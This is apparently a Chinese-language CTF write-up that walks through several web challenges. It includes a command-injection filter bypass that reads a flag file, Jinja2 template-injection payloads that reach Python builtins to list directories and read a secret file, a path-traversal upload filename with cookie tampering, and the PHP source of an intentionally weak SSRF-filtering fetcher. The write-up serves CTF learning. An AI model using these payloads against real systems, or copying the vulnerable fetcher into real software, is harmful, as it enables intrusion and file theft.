第一次比赛做出来这么多题,感谢太空人师傅给的很多思路,不得不说,师傅真滴强
签到
base64解码,讲真,这才叫签到题
Command
%09
制表符
通配符绕过,payload:?url=||ca\t%09/etc/.findf?ag/f?ag.txt
flaskbot
这个注入点真是,知道是user就是出不来,space man师傅(膜拜大佬)提示猜数字为nan,遂去Google在此记笔记,
NaN, Not a Number, 非数. 它即不是无穷大, 也不是无穷小, 而是python/numpy/… 觉得无法计算时返回的一个符号
详见于此
后面就好说啦,user编码base64,payload可以参考 GYCTF2020-FlaskApp的第一种解法,第二种等buu复现
列目录:{{''.__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
flag被ban了,其实os也被ban了,故技重施:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/super_secret_fl'+'ag.txt','r').read() }}{% endif %}{% endfor %}
easygogogo
DSACTF2020的gob原题,上传任何文件都不解析,文件名原样保存,show的时候考虑LFI,bp上传文件名为../../../../../flag
,上传成功后记下返回的cookie,接着不要点返回,我上午一直没成就是点击返回导致cookie不对劲,在URL修改,然后改cookie,看图片的base即可
doyouknowssrf
开箱送源码:
<?php
// ini_set("display_errors", "On");
// error_reporting(E_ALL | E_STRICT);
function safe_url($url,$safe) {
$parsed = parse_url($url);// 解析 URL,返回其组成部分
$validate_ip = true;
if($parsed['port'] && !in_array($parsed['port'],array('80','443'))){
echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>".PHP_EOL;
return false;
}else{
preg_match('/^\d+$/', $parsed['host']) && $parsed['host'] = long2ip($parsed['host']);
$long = ip2long($parsed['host']);
if($long===false){
$ip = null;
if($safe){
@putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1');
$ip = gethostbyname($parsed['host']);
$long = ip2long($ip);
$long===false && $ip = null;
@putenv('RES_OPTIONS');
}
}else{
$ip = $parsed['host'];
}
$ip && $validate_ip = filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE);
}
if(!in_array($parsed['scheme'],array('http','https')) || !$validate_ip){
echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>".PHP_EOL;
return false;
}else{
return $url;
}
}
function curl($url){
$safe = false;
if(safe_url($url,$safe)) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);//需要获取的 URL 地址,也可以在curl_init() 初始化会话的时候
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//TRUE 将curl_exec()获取的信息以字符串返回,而不是直接输出
curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//FALSE 禁止 cURL 验证对等证书(peer'scertificate)
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);//设置为 1 是检查服务器SSL证书中是否存在一个公用名(common name)。译者注:公用名(Common Name)一般来讲就是填写你将要申请SSL证书的域名 (domain)或子域名(sub domain)。设置成 2,会检查公用名是否存在,并且是否与提供的主机名匹配。 0 为不检查名称。在生产环境中,这个值应该是 2(默认值)
$co = curl_exec($ch);
curl_close($ch);
echo $co;
}
}
highlight_file(__FILE__);
curl($_GET['url']);
gactf的原题,但是俺不会用呜呜呜